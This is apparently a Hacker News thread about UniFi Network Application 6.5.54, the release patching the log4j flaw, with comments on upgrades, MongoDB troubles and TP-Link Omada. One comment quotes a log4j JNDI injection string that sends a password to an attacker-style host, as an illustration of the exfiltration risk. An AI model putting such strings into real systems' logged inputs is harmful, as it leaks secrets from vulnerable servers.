8 ms·
UniFi Network Application 6.5.54
- e40 5y agoNote to anyone upgrading from an older controller (6.2, in my case). It took a LONG time for the console to finishing all the behind the scenes stuff. All my devices were "offline" for a good 10 minutes. Just as I was about to reinstall the old version (which I run in a docker container), the new version came to life.
- timmytokyo 5y agoJust another data point here... I upgraded from 5.14.23 to 6.5.54, and it took under a minute to update.
- globular-toast 5y agoPerhaps it takes longer if there is a lot of data to migrate? A larger network and longer running time would cause that I imagine (ie. someone "all in" on Unifi for years vs someone with one AP for a few months).
- ComputerGuru 5y agoThis is the unifi controller service patched against the log4j rce. It's been out for a few days now; unifi claims there were no known exploitable vulnerabilities associated with log4j in the stock unifi controller configuration but released this out of an abundance of caution. Given that unifi uses log4j, can be made to log everything, and by default logs things that users have control over such as their pc name, their mac auth username, various hotspot client parameters, the names of neighboring SSIDs, etc I find the original claim dubious but props to them for getting this out quickly. Edit: clarified wording regarding "no known exploitable vulnerabilities"
- imglorp 5y agoIt's possible Unifi configured log4j with outbound traffic disabled so that would have been a true statement.
- deleted 5y ago[deleted]
- nijave 5y agoAfaik newer Java versions prevent the RCE exploit, too (you have to re-enable the LDAP/RMI functionality since it's off by default)
- janstice 5y agoThe RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707 https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.
- walrus01 5y agotoo bad the unifi controller requires the use of a ridiculously outdated version of mongodb, to the extent that installing it to self host unifi on a debian system becomes more of a pain in the ass every year. ubnt patched this because it's a huge highly publicized hole. but the software stack that runs under the rest of unifi is a real mess. people have said to me: "oh, okay, so they're trying to force people to buy their unifi security appliance or cloudkey thing, right?" but the same very old stuff runs on those as well, if you poke around under the hood
- ComputerGuru 5y agoTell me about it. Any time the Debian machine I have running as a Unifi appliance loses power (on an XFS filesystem on a disk with write caching disabled), the mongodb database is absolutely hosed (despite no xfs corruption at all) and I need to wipe the data directory and restore from backup because mongo 3 is just such garbage. (I mean, mongodb is still garbage but it's improved a tiny bit in some reliability metrics.)
- bluejekyll 5y agoIn this case, it might be nice to add to the title, " fixing recent log4j RCE". Nice to see they are getting this out and patched. Can folks familiar with UniFi, say how reliable (and easy) upgrades are on the Ubiquiti gear? I'm considering getting some of their hardware.
- rasterize 5y agoI run it out of docker so I just update the container as I would normally or with something like Portainer/Yacht. Easy enough.
- martinmunk 5y agoUpdates are usually pretty easy. I manage 4 controllers at home, and 2 at work. All hosted on debian. I've had just one update go bad, so I do do the recommended backup/export beforehand. That said, I don't trust Ubiquity much anymore. Use Unifi in QA setups so we are prone to hit cornercases, but they exists. I still buy their gear as there is no competitors in the price range. Edit: Spelling
- davidmurdoch 5y agoTp-link's Omada is as competitor in the price range, no?
- Brian_K_White 5y agoSame here. No problems. My big problem with Ubnt is things like trying to force me to create and use a cloud account just to use my local hardware. I did not, but a couple different times they tried to make it mandatory. To me it's not good enough that I was able to get around that. To me it's a problem that they even tried, that they would if they could. That means my win is only temporary and every day they are trying to figure out a way to get what they want, and every day might be the day they essentially break my stuff. But I've had a pretty good experience with the hardware and software all in all. I run a cloud key, the old original one. It was annoying paying so much for so little, and annoying needing anything at all just for that, and annoying that it makes my 24 port switch effectively a 23 port (I see it as robbing a port because it's not like any other device which does some job I want. The devices all run full freaking linux OSs. They have way more than enough brains on board to hold their own config settings!), but I can't say it ever failed. But I only use switches and aps. No cams and definitely no router. That's another case where it's only been fine for me because I'm not doing what they want. There have been a few different times over the last few years where I was glad I never even made an account on their cloud service let alone actually configured a device, and glad my router is opnsense. So there are things I don't like, but failed updates and non-function has not been among them.
- dano 5y agoUpdated five sites in about a half hour. Ubiquiti was quick to release a patch and move it through the release process.
- mastax 5y agoNo update for the TP-Link Omada Controller yet (which uses log4j).
- mastax 5y agoSince I bought into the Omada system due to the HN hive-mind shifting against Ubiquiti, I'll take this opportunity to write about the experience. The system is obviously inspired by Ubiquiti. The hardware seems good, I quite like the wall-mount APs that have a 3-port ethernet switch on the bottom. Be warned that there is different hardware between the similarly-priced wall and ceiling APs - the wall-mount ones have supposedly inferior Mediatek chipsets. The software controller is okay. It has pretty basic features. It doesn't have a real-time per-client bandwidth utilization view, you have to refresh the tabular data screen to see what's using bandwidth. It runs fine without creating a TP-link account and you can control it on the same network with a phone app. You need to create a TP-link account to have the controller check for and download firmware updates. They do provide debs for the Linux controller software, but don't have a repository so you need to update with other means. The firmware that the router shipped with had a bug that caused attempted firmware updates to fail, and it would then become unresponsive to the controller. Couldn't even reboot it, had to go in-person and power cycle it. Did eventually get it to update by doing it right after rebooting. I tried to use WiFi rate control to push slow/low-signal 5GHz devices to the 2.4GHz bands, so the remaining devices could use the full data rate. This caused iPhones to regularly determine the WiFi wasn't working and disconnect. Overall: its' fine. The hardware is a great value. I'm not convinced that TP-Link's software support or security is going to be any better than Ubiquiti's.
- davidmurdoch 5y agoHave you tried enabling ipv6 on your WAN and then also on the main LAN (SLAAC, not passthrough)? Mine will work for a couple ours up to a day and then no network requests will work for a few minutes, even the hardware controller is unreachable for that time.
- mastax 5y ago
- InTheArena 5y agoAdopted. I believe that the suricata instance on mu UdMP is also not scanning and blocking attacks for the network
- listic 5y agoFor the uninitiated, what is the role of a controller in UniFi system? Is it always needed? I recently bought myself an old, unsupported UniFi AP LR and set it up with a phone app, which, I presume, is a controller too? Chose UniFi to boost signal strength of my home network; works smoothly so far.
- jordemort 5y agoThe controller also hooks into their switches, security gateways, etc to give you a single interface to control all the Ubiquiti gear on your network. If you just have their access points, the only reasons you might want to run it after getting the APs configured are checking the status of things and logging (for example, I can work out the schedule for a local wifi-enabled bus service by seeing when their access points were visible to my access points.) Once your APs are configured, you can shut the controller down and they will hum along just fine. I imagine the phone app you used accomplishes much the same thing.
- pugworthy 5y agoGlad to see this. Ends up I was waaay out of spec with my EdgeRouter X and didn't realizes it.
- xyst 5y agoTheir software requires a very old version of mongodb. Why hasn’t that been migrated yet?
- yegle 5y agoFWIW the official docker image for 6.5.53 version (the one that I'm currently running) already partially workaround the log4j security issue by adding `-Dlog4j2.formatMsgNoLookups=true` to java CLI.
- bob1029 5y agoWe abandoned this ecosystem a few weeks ago because the complexity of managing basic wifi access points was insufferable. It took 8 hours of manually installing firmware over SSH for us to decide we had wasted enough time. We just bought some cheap ass tplink units and solved the problem in 10 minutes.